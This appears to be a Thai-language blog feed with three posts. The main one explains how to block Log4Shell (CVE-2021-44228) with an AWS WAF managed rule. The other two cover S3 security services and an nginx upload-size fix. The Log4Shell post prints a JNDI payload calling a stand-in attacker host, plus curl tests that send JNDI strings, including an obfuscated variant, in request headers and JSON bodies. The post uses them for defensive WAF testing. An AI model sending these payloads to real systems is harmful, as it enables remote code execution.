Forem: Narongrit Int.

Countermeasure against CVE-2021-44228 with AWS WAF

Narongrit Int. — Sat, 11 Dec 2021 02:37:04 +0000

จากรายงานถึงช่องโหว่ CVE-2021-44228. CVE-2021-45046 (Log4Shell / CVSS score 10.0) ของไลบรารี Log4j ที่เป็นไลบรารี log ยอดนิยมในภาษาจาวา ส่งผลให้แอปพลิเคชั่นจำนวนมากมีช่องโหว่รันโค้ดระยะไกล (Remote Code Execution - RCE) ไปด้วย หากแอปพลิเคชั่นนั้นๆ เขียน log จากอินพุตของผู้ใช้ ไม่ว่าช่องทางใดก็ตาม

รูปแบบของ payload ที่ใช้ในการโจมตี

${jndi:ldap://attacker.com/a}

ช่องโหว่นี้เกิดจากความสามารถในการดึงข้อมูลจากภายนอกมาเขียน log (message lookup) โดยการดึงข้อมูลผ่านโปรโตคอล JNDI (Java Naming and Directory Interface) จากเซิร์ฟเวอร์ที่คนร้ายกำหนด จากนั้นคนร้ายจะส่ง java class รันโค้ดเข้าไปยัง log4j เพื่อรันโค้ดในสิทธิ์ระดับเดียวกับตัวแอปพลิเคชั่นได้

โดยทาง ~~Log4j ได้ออกอัพเดตเวอร์ชั่น 2.15~~ ล่าสุดเวอร์ชั่น 2.17 เพื่อแก้ช่องโหว่นี้แล้ว แต่หากยังไม่สามารถอัพเดตได้ หรือเพื่อเพิ่มความสามารถในการป้องกัน เราสามารถใช้ Virtual Patching เพื่อป้องกันผลกระทบที่เกิดขึ้นด้วย AWS WAF (Web Application Firewall) ได้

แนวทางในการป้องกัน โดยใช้ AWS WAF

AWS ได้เพิ่ม protection rule สำหรับปัญหาของช่องโหว่ที่เกิดขึ้น ใน AWS Managed Rule บน AWS WAF เพื่อใช้ป้องกันการโจมตีจากระยะไกลยังแอปพลิเคชั่น ในหมวด AWSManagedRulesKnownBadInputsRuleSet

AWS Managed Rule

Known bad inputs "Log4JRCE" ได้ถูกเพิ่มเข้ามาตั้งแต่ version 1.2 (ล่าสุดคือ version ~~1.3~~ 1.6 หากเลือก default จะได้ version ล่าสุดเป็นค่าปริยาย) เพื่อป้องกันปัญหาช่องโหว่ Log4j ซึ่งเราสามารถตรวจสอบ หรือเพิ่ม rule ดังกล่าวได้

ทดสอบ

เราจะใช้ curl command ในการทดสอบเพื่อส่ง payload ต่างๆ เพื่อดูผลลัพธ์ที่ได้หลังจากที่เปิดใช้งาน AWS WAF managed rule for Log4jRCE

${jndi:ldap://URL} → Block (403)

$ curl https:/www.target.test  -H 'User-Agent: ${jndi:ldap://URL}' -o /dev/null -w '%{http_code}\n' -s
403

จะเห็นได้ว่า หาก payload มีรูปแบบ (pattern) ที่มีความเสี่ยง จะถูก block โดยปริยาย

${jndi → Block (403)

$ curl https:/www.target.test  -H 'User-Agent: ${jndi' -o /dev/null -w '%{http_code}\n' -s
403

${jndi → Block (403)

$ curl https:/www.target.test  -H 'User-Agent: ${%256a%256e%2564%2569%253a' -o /dev/null -w '%{http_code}\n' -s
403

หรือแม้จะหลบหลีก (bypass) ด้วยเทคนิค obfuscate ก็ตรวจพบได้

${jnd → Pass (200)

$ curl https:/www.target.test  -H 'User-Agent: ${jnd' -o /dev/null -w '%{http_code}\n' -s
200

หาก payload ไม่เป็นไปตาม pattern ที่เป็นอันตราย ก็สามารถใช้งานได้ปกติ

ทดลองส่ง JSON payload ผ่านทาง body บน POST method

${jndi:ldap://URL} → Block (403)

curl https:/www.target.test -o /dev/null -w '%{http_code}\n' -s -X POST -H "Content-Type: application/json" -d '{"Name":"${jndi:ldap://URL}"}'
403

${jnd → Pass (200)

curl https:/www.target.test -o /dev/null -w '%{http_code}\n' -s -X POST -H "Content-Type: application/json" -d '{"Name":"${jnd"}'
200

บทสรุป

เราสามารถใช้ Log4jRCE ใน AWS Managed Rule for WAF จาก Known Bad Input ruleset เพื่อป้องกันการโจมตีช่องโหว่ Log4j ในเบื้องต้น ทั้งนี้แนะนำให้รีบดำเนินการ patch/upgrade Log4j ที่ต่ำกว่า ~~2.15~~ 2.17 โดยทันที เช่นเดียวกับซอฟแวร์ไลบรารีอื่นๆ ที่ใช้งานให้มีความทันสมัยอยู่เสมอ และนอกจากนี้ใน update ล่าสุดของ AWS WAF สามารถ log ข้อมูลจราจรไปบน AWS CloudWatch หรือ S3 ได้แล้ว

มาสร้างความแข็งแกร่งและปลอดภัยให้กับข้อมูลที่เก็บไว้ใน Amazon S3 กัน

Narongrit Int. — Tue, 14 Sep 2021 12:37:23 +0000

เชื่อว่ามีผู้ใช้งาน AWS จำนวนไม่น้อยที่มีประสบการณ์ในการใช้งาน Amazon Simple Storage Service (Amazon S3) ด้วยเหตุที่ใช้งานได้ง่าย ไม่ซับซ้อน และราคาเหมาะสม ในการจัดเก็บข้อมูลต่างๆ ทั้งไฟล์เอกสาร รูปภาพ วิดีโอ หรือแม้กระทั่งใช้เป็นคลังข้อมูล Data Lake เพื่อใช้เป็นแพลตฟอร์มในการจัดเก็บและ ประมวลผล วิเคราะห์ข้อมูลขนาดใหญ่

ในบทความนี้ จะพูดถึงแนวทางในการบริหารจัดการ และแนวทางการเพิ่มการตรวจสอบ และการปกป้องข้อมูลที่ถูกจัดเก็บ ให้มีความปลอดภัยเพิ่มมากยิ่งขึ้น โดยอาศัยบริการเสริมอื่นๆ บน AWS

การตรวจสอบการเข้าถึงข้อมูลบน Amazon S3 ด้วย AWS Identity and Access Management (IAM) Access Analyzer
การจำแนกข้อมูล (Data Classification) และจัดการกับข้อมูลที่มีความอ่อนไหว (Sensitive data discovery) ด้วย Amazon Macie
การตรวจจับพฤติกรรมที่เข้าถึงข้อมูลที่เป็นอันตราย หรือมีความเสี่ยงด้วย Amazon GuardDuty

ตรวจสอบและจำกัดการเข้าถึง Amazon S3 ด้วย IAM Access Analyzer

อย่างที่ได้พูดถึงไปก่อนหน้านี้ เราที่ใช้งาน Amazon S3 ส่วนใหญ่ มักจะเก็บข้อมูลต่างๆ อย่างมากมาย และหลากหลาย โดยเฉพาะอย่างยิ่งข้อมูลที่มีความลับ หรือมีลำดับชั้นความลับของข้อมูลที่มีความสำคัญอย่างมาก เพื่อช่วยรักษาความปลอดภัยให้กับข้อมูลในขั้นต้น ควรมีการเข้ารหัสฝั่งเซิร์ฟเวอร์ (Server side encryption) ซึ่ง Amazon S3 สามารถทำงานร่วมกับ AWS Key Management Service หรือ AWS KMS ได้ทันที

นอกจากนี้ การบริการจัดการในการเข้าถึงข้อมูลก็มีความสำคัญเช่นกัน สิทธิ์ในการเข้าถึงต้องได้รับอนุญาตเฉพาะผู้ที่ต้องการการเข้าถึงเท่านั้น (Business need to know) หรือสิทธิ์ในการเข้าถึงแบบน้อยที่สุดที่เป็นไปได้ (Least privilege) ซึ่งใน Amazon S3 เอง เราสามารถกำหนดค่าการเข้าถึง S3 Bucket policy, Access control list (ACL) รวมไปจนถึงระดับ Object ที่เก็บไว้ใน S3 ได้ แน่นอนว่าสิ่งสำคัญที่ต้องพิจารณาในลำดับต่อมา คือ การหมั่นตรวจสอบนโยบาย การเข้าถึง (Policy & ACL) เป็นประจำ จะเป็นการเพิ่มความปลอดภัยด้วยเช่นกัน

ตรงนี้เองที่ IAM Access Analyzer จะเป็นเครื่องมือที่ช่วยมาช่วยให้คุณสามารถจัดการ วิเคราะห์ และระบุการเข้าถึงทรัพยากรและข้อมูล โดยที่ IAM Access Analyzer สามารถสแกนเพื่อให้ข้อมูลเชิงลึกเมื่อพบว่า Bucket policy หรือ S3 ACL อนุญาตให้มีการเข้าถึงข้อมูลจากภายนอก ที่ไม่ได้อยู่ในองค์กรของคุณ หรือจากนอก Zone of trust

ขั้นตอนการเริ่มต้นใช้งานไม่ยาก สามารถเริ่มลงมือตามคู่มือคำแนะนำการเปิดใช้งาน จากคู่มือผู้ใช้ AWS IAM สำหรับรายละเอียดเพิ่มเติมได้

รูปที่ 1 การสร้าง
ตัววิเคราะห์ (IAM Access Analyzer) และการกำหนดค่า Zone of trusts

หลังจากที่เราสร้างวิเคราะห์ IAM Access Analyzer จะแสกน AWS resources ทั้งหมดรวมถึง AWS S3 ด้วย ภายใน Zone of trust และรายงานสิ่งที่พบ เมื่อเจอลักษณะการเข้าถึงที่ไม่ปลอดภัย
รูปที่ 2 ตัวอย่างเมื่อเจอการเข้าถึง S3 Bucket ที่ไม่ปลอดภัย

สำหรับในแต่ละ Finding ที่ IAM Access Analyzer ตรวจพบ เราสามารถตัดสินใจได้ว่า ต้องการที่จะดำเนินการอย่างไรต่อไป ตัวอย่างเช่น ถ้าเป็นการเข้าถึงที่ตั้งใจ (Intented access) เราสามารถ archive สิ่งที่พบไป หรือในมุมกลับกัน หากเป็นการเข้าถึงที่ไม่ถูกต้อง ก็ดำเนินแก้ไข S3 Policy ให้ถูกต้องใน S3 console
รูปที่ 3 แสดงตัวเลือก next action ที่ต้องทำ เมื่อพบการเข้าถึงที่อาจจะมีความเสี่ยง

หลักจากที่เราจัดการแก้ไขปัญหาไปแล้ว IAM Access Analyzer จะยังคงตรวจสอบ Bucket Policy ที่ได้เปลี่ยนแปลง และยังคงคอย monitor และแจ้งเตือนของการเข้าถึงที่มีความเสี่ยง

จำแนกและจัดการกับข้อมูลที่มีความอ่อนไหวด้วย Macie

ในปัจจุบัน องค์กรส่วนใหญ่ต้องเจอมาตรฐาน ข้อปฏิบัติ และข้อกำหนดต่างๆ (Compliance) ที่มักต้องการการระบุ และการรักษาความปลอดภัยข้อมูลที่อ่อนไหว ข้อมูลส่วนบุคคลที่สามารถระบุตัวบุคคลได้ (PII : Personally identifiable information) เช่น ชื่อ ที่อยู่ วันเกิด หรือแม้แต่ข้อมูลหมายเลขบัตรเครดิต เป็นต้น

Amazon Macie เป็นบริการนึงที่ช่วยรักษาความปลอดภัย และความเป็นส่วนตัว (privacy) ของข้อมูล โดยจะอาศัยการเรียนรู้ของ machine learning และ pattern matching ในการตรวจค้นข้อมูลที่จัดเก็บไว้ใน Amazon S3 โดยจะมีรูปแบบข้อมูล การจำแนกประเภทข้อมูลที่ Macie รู้จัก นอกจากนี้เรายังสามารถกำหนด (define) รูปแบบของข้อมูลที่มีความเฉพาะตัวได้ ตัวอย่างเช่น หมายเลขบัตรประชาชน หมายเลขโทรศัพท์ หมายเลขประจำตัวผู้เสียภาษี และ Macie ยังช่วยในเรื่องการจำแนกข้อมูลโดยอัตโนมัติ และแจ้งเตือนเมื่อมีข้อมูลสำคัญที่ยังไม่ได้รับการแก้ไข จัดการ ให้ถูกต้องและปลอดภัย
รูปที่ 4 ตัวอย่างผลที่ได้จาก Macie

นอกจากผลจากการแสกน ซึ่งทำให้เราเห็นการใช้งาน Amazon S3 ทั้งการตั้งค่า การเข้าถึง การเข้ารหัส และการแชร์ข้อมูล Macie ยังสามารถจำแนกประเภทข้อมูล และให้คะแนนระดับความรุนแรงตามความเสี่ยงด้านความเป็นส่วนตัวด้วยเช่นกัน
รูปที่ 5 ตัวอย่างคะแนนความรุนแรง (Severity score) ที่ Macie ตรวจพบ

เมื่อใช้ร่วมกับ AWS Step Functions เพื่อให้การแก้ไขปัญหาเป็นไปได้อย่างรวดเร็วและอัตโนมัติ จะช่วยให้เราลดเวลาในการแก้ไข และเป็นการปฏิบัติตามกฏระเบียบต่างๆ เช่น ระเบียบข้อกำหนดว่าด้วยการคุมครองข้อมูลทั่วไป (GDPR) พระราชบัญญัติคุ้มครองข้อมูลส่วนบุคคลของประเทศไทย (PDPA) ที่จะมีบังคับใช้ในอนาคต หรือแม้กระทั้งข้อมูลด้านสุขภาพ (HIPAA)

ตรวจจับพฤติกรรมที่เข้าถึงข้อมูลที่เป็นอันตรายด้วย GuardDuty

คงไม่ใช่เรื่องง่ายในการวิเคราะห์ข้อมูลจราจร (traffic log) ในการเข้าใช้งาน Amazon S3 เพราะอาจจะเกิดขึ้นได้หลายพันรายงานในแต่ละวันบน S3 Bucket และยังต้องใช้เวลานานมากยิ่งขึ้นเมื่อปริมาณข้อมูลเพิ่มมากขึ้น

Amazon GuardDuty เป็นอีกบริการที่สามารถตรวจจับความผิดปกติ และข้อมูลภัยคุกคามแบบบูรณาการในการวิเคราะห์เหตุการณ์ที่เก็บไว้ใน AWS CloudTrail, VPC Flow log, DNS log และ S3 access logs ซึ่งอาจจะมีจำนวนหลายพันล้านเหตุการณ์ในหลายๆ บัญชีการใช้งาน (AWS Account) ได้ นอกจากรวบรวม วิเคราะห์โดยใช้ machine learning หารูปแบบการเข้าถึงข้อมูลที่ผิดปกติ การเรียก API รูปแบบการใช้งานที่ผิดปกติแล้ว GuardDuty ยังสามารถแจ้ง notification เพื่อ alert สิ่งที่ผิดปกติจากกิจกรรมเหล่านั้น เพื่อให้เราสามารถใช้เป็นข้อมูลตัดสินใจในการรักษาความปลอดภัยของข้อมูลทีอยู่ใน S3 Bucket ได้
รูปที่ 6 ตัวอย่างรายการที่พบโดย GuardDuty

เมื่อกดดูในรายละเอียดแต่ละรายการ (Drill down) จะสามารถเห็นรายละเอียดที่เกี่ยวข้องกับเหตุการณ์นั้นๆ เช่น IP address, ข้อมูลที่พยายามเข้าถึง
รูปที่ 7 รายละเอียดของ IP ที่เข้าข่ายเป็น Malicious

บทสรุป

AWS เองมีเครื่องมือมากมายที่จะช่วยให้เราสามารถรักษาความปลอดภัยของข้อมูล สภาพแวดล้อมในการจัดการจัดเก็บข้อมูล โดยการทำงานระหว่างเครื่องมือ บริการต่างๆ จะช่วยลดเวลา และเพิ่มความสามารถในการตอบสนองกับภัยคุกคาม และปัญหาต่างๆ ที่เกิดขึ้น รวมไปถึงการกำหนดค่าให้แก้ไขได้เองโดยอัตโนมัติ ช่วยประหยัดเวลาอันมีค่าและทรัพยากรของบุคลากรในองค์กร หน่วยงานของคุณ

หากมีข้อสงสัย สามารถส่งความคิดเห็น comment ด้านล่างได้ครับ

413 Request Entity Too Large!

Narongrit Int. — Tue, 14 Sep 2021 12:37:06 +0000

ด้วยความที่ component stack ใน AWS Beanstalk หลายๆ ตัวมีการปรับเปลี่ยนจากที่เคยใช้ Apache เป็น Web server หรือ Web proxy ไปเป็น Nginx web server เป็นค่าปริยาย (Default configuration) แทน

ซึ่งจากการปรับเปลี่ยนนี้ อาจส่งผลให้ developer หลายๆ คน เจอปัญหาปวดเฮดอยู่ไม่น้อย ในกรณีที่ต้องการ upload file เวลา submit web form ถ้าขนาดไฟล์ใหญ่ ไซส์โตๆ จะตี error code เป็น HTTP 413 Request Entity Too Large!

เหตุผลเพราะ Nginx นั้น จะกำหนดค่าเริ่มต้น ให้ไฟล์ที่มีขนาดใหญ่สุดที่ upload ได้อยู่ที่ 1MB เท่านั้น เอาซี้!!!

วิธีแก้ของ Nginx นั้นไม่ยาก เพียงแค่เพิ่ม client_max_body_size ในไฟล์ nginx.conf เพื่อ override ค่า default ก็เป็นอันใช้ได้ อยากได้มากน้อยเท่าไหร่ ก็จัดไป

client_max_body_size 100M;

แต่พอเป็น AWS Beanstalk อาจจะต้องออกแรงนิดหน่อย โดยเพิ่มโฟลเดอร์ .ebextensions/nginx/conf.d/ ใน Project และสร้าง config ไฟล์

~/workspace/my-app/
     |-- .ebextensions
         | -- nginx
              | -- conf.d
+                   | -- myconf.conf

จากนั้น repackage project folder ให้เรียบร้อยแล้ว upload package ใน AWS Beanstalk หรือถ้าใครถนัดใช้ eb deploy ก็ไม่ว่ากัน ถ้าไม่ติด error อะไรตอน deploy ก็เป็นอันใช้ได้